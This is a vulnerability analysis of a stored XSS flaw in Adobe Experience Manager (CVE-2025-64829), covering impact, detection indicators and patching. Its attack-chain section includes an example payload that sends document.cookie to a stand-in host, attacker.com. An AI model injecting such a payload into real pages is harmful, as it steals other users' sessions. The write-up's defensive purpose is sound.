CVE-2025-64829: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64829 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and later executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious payload) and network access to the AEM instance. The scope is changed, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. Both confidentiality and integrity are impacted at a low level (e.g., access to session cookies or limited data modification), while availability is not directly affected. The stored nature of the XSS means a single injection can affect multiple users who visit the compromised page, amplifying the potential impact across the AEM user base (Adobe Advisory).

1. Reconnaissance: Identify an accessible Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web application fingerprinting.
2. Obtain low-privileged access: Authenticate to the AEM instance using a low-privileged account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to a form or content editing interface within AEM that is susceptible to stored XSS — typically a text input or rich-text field that does not properly sanitize user input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Wait for victim interaction: When a higher-privileged user (e.g., an administrator) browses to the page containing the injected content, the malicious script executes in their browser, potentially exfiltrating session tokens or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded JavaScript tags (<script>, javascript:, onerror=, etc.) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript snippets stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text properties of authored pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying session cookie data as query parameters.
• Logs: Browser-side console errors or network requests to attacker-controlled domains logged in web proxy or SIEM solutions, correlated with AEM page visits.

Adobe has released patches addressing CVE-2025-64829 in AEM 6.5.24.0 (for on-premises/LTS deployments) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a general workaround prior to patching, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) with XSS filtering rules to detect and block malicious input. Review and audit existing AEM content for unexpected JavaScript injections (Adobe Advisory).

The vulnerability was detected by Tenable's Nessus scanner (plugin ID 278346) and is tracked in standard vulnerability databases including Vulners and CIRCL. No notable public researcher commentary, social media discussion, or significant media coverage specific to CVE-2025-64829 has been identified beyond routine vulnerability tracking and scanner updates.